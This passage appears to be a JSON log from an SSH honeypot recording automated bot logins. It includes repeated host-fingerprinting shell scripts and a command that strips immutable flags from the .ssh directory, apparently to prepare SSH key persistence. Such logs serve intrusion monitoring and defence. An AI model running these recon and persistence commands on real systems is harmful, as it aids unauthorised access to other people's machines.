/usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:49:29.057532+00:00",
  "ended_at": "2026-08-26T15:49:29.172905+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "5b25c425-c234-4dc7-bda4-d6e2658d8df6",
  "name": "quartz-wiry-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40859,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 748,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:49:09.436344+00:00",
  "ended_at": "2026-08-26T15:49:10.787654+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "d84ae859-9e6c-4689-a845-69d81f75a7fe",
  "name": "grumpy-frosty-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40923,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:48:46.892593+00:00",
  "ended_at": "2026-08-26T15:48:48.020627+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8fda1ecd-60ba-4ec2-bc44-52b849fa2ca9",
  "name": "airy-thorny-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40922,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:48:44.311304+00:00",
  "ended_at": "2026-08-26T15:48:45.404844+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6a5fac9-6b34-4726-b451-42fbc04129cb",
  "name": "hazel-cosmic-bunting",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 62875,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:48:07.159753+00:00",
  "ended_at": "2026-08-26T15:48:08.191684+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1b444083-57cf-4778-a14c-76648975a156",
  "name": "tender-subtle-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 42924,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:47:36.057350+00:00",
  "ended_at": "2026-08-26T15:47:36.221011+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "5d645d64-14f3-4d71-ac3b-68c1fd549457",
  "name": "wandering-granite-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 61839,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:47:13.927374+00:00",
  "ended_at": "2026-08-26T15:47:14.818473+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "238c40fd-2f41-4e7b-8be5-5c55bffbf280",
  "name": "lofty-golden-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40856,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 751,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:46:24.778927+00:00",
  "ended_at": "2026-08-26T15:46:26.192802+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "05f5e6bf-7d20-4fcd-84fa-26673abd98b5",
  "name": "brazen-quiet-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40858,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:46:01.967387+00:00",
  "ended_at": "2026-08-26T15:46:03.511528+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b158d369-55a2-4eab-9cb3-cff5e86ca268",
  "name": "weathered-prairie-hoopoe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40857,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:45:59.098993+00:00",
  "ended_at": "2026-08-26T15:46:00.465075+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2220fa1b-4ebc-4e1c-985e-38a30505f26f",
  "name": "noble-verdant-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 40036,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:45:39.584962+00:00",
  "ended_at": "2026-08-26T15:45:39.740255+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "391f9677-2653-4db3-bd4c-af2edbbccea4",
  "name": "tangled-granite-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 37108,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:43:43.157628+00:00",
  "ended_at": "2026-08-26T15:43:43.261599+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "de87a9b3-8ed7-48d0-8e07-7d2f0a277e76",
  "name": "lunar-reedy-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40853,
  "username": "testftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 749,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:43:40.861951+00:00",
  "ended_at": "2026-08-26T15:43:42.043794+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "696fdf3f-4def-4d5b-9ff9-da8048d6e8ee",
  "name": "kindly-woven-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40855,
  "username": "testftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:43:19.885115+00:00",
  "ended_at": "2026-08-26T15:43:21.285003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8cdf1223-df3c-4442-8e58-41a3e150b659",
  "name": "tender-spirited-opossum",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40854,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:43:17.436907+00:00",
  "ended_at": "2026-08-26T15:43:18.375262+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9c4e4740-c716-4a52-8bdb-b705a293efa0",
  "name": "gloomy-bold-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 34200,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:41:50.721301+00:00",
  "ended_at": "2026-08-26T15:41:50.838036+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8f7bd20e-1159-44f4-bb63-40cbc6eeec44",
  "name": "vaulted-umber-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40850,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 762,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:41:00.967613+00:00",
  "ended_at": "2026-08-26T15:41:02.413847+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "40ada214-6a7d-4279-9c95-7c82d35de7a5",
  "name": "supple-daring-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40852,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:40:39.399996+00:00",
  "ended_at": "2026-08-26T15:40:40.347924+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9f4d61a4-15e5-4bc8-a114-da7d3d61502b",
  "name": "crisp-dusty-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
